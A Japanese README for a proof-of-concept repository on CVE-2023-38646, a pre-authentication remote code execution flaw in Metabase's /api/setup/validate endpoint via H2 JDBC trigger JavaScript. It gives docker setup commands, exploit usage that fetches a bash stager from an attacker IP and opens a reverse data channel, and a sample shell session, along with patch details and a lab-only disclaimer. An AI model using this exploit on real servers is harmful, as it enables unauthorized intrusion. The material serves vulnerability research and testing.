
リポジトリには、cve 2023-38646のPoCと再現手順が含まれています。
CVSS 9.8。Metabase の 0.46.6.1 / 1.46.6.1 より前のバージョン(および同等の以前のブランチ)は、初期セットアップ中にデータベース接続情報を検証するための /api/setup/validate エンドポイントを介して、事前認証 RCE を露呈します。このエンドポイントは、セットアップがすでに完了した後でも認証なしで到達可能です。
このエンドポイントはデータベース接続ペイロードを受け入れ、巧妙に細工された JDBC 接続文字列で engine: h2 が指定されると、H2 の CREATE TRIGGER ... AS $$//javascript 構文を介して任意の JavaScript を埋め込むことができます。トリガー本体は検証時に実行されるため、攻撃者は JVM 内での JavaScript 実行を得られます。これは java.lang.Runtime.getRuntime().exec() を介して OS コマンド実行に自明に昇格します。
根本的な問題は、H2 データベースエンジンが「データソースの検証」の一環として接続文字列に埋め込まれたコードを信頼することと、Metabase がこの検証パスを事前認証で公開していることの組み合わせにあります。
metabase/metabase:v0.46.6 Docker イメージrequests、termcolor脆弱な Metabase を実行:
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
docker logs -f metabase # wait for "Metabase Initialization COMPLETE"
エクスプロイト依存関係をインストール:
pip3 install requests termcolor
/api/session/properties は、一度きりの初期セットアップフローを制限するための setup-token を漏えいしますが、セットアップ完了後も有効で使用可能です。java.lang.Runtime.getRuntime().exec() を使用して、攻撃者の HTTP サーバーから bash ステージャーを取得し、コマンド出力を base64 エンコードされた生の TCP リスナー経由で送り返します。python3 51797.py -l <attacker_ip> -p 4444 -P 8000 -u http://localhost:3000
-l — 攻撃者のコールバック IP(ターゲットがローカルコンテナの場合、Docker ブリッジゲートウェイ、例: 172.17.0.1)-p — リバースデータチャネルが接続し直すポート-P — ステージャースクリプトを配信するローカル HTTP サーバーのポート-u — ターゲットの Metabase ベース URL事前認証コールバックがエクスプロイト可能性を確認すると、インタラクティブな metabase_shell > プロンプトに落ちます。
metabase_shell > whoami metabase metabase_shell > id uid=2000(metabase) gid=2000(metabase) groups=2000(metabase),2000(metabase)
metabase サービスアカウントとしてのコマンド実行が確認されました — 事前認証、認証情報は不要です。深刻度は、ゼロ認証でのネットワーク到達可能な RCE に起因しており、結果として得られるシェルの権限レベルによるものではありません。
Metabase 0.46.6.1 / 1.46.6.1 以降でパッチ適用済み — /api/setup/validate エンドポイントは現在、セットアップが本当に未完了であることを要求し、セットアップトークンは初期セットアップ完了時に無効化されます。
隔離されたラボでの使用のみを対象としています。所有していない、またはテストする明示的な許可がない Metabase インスタンスに対して実行しないでください。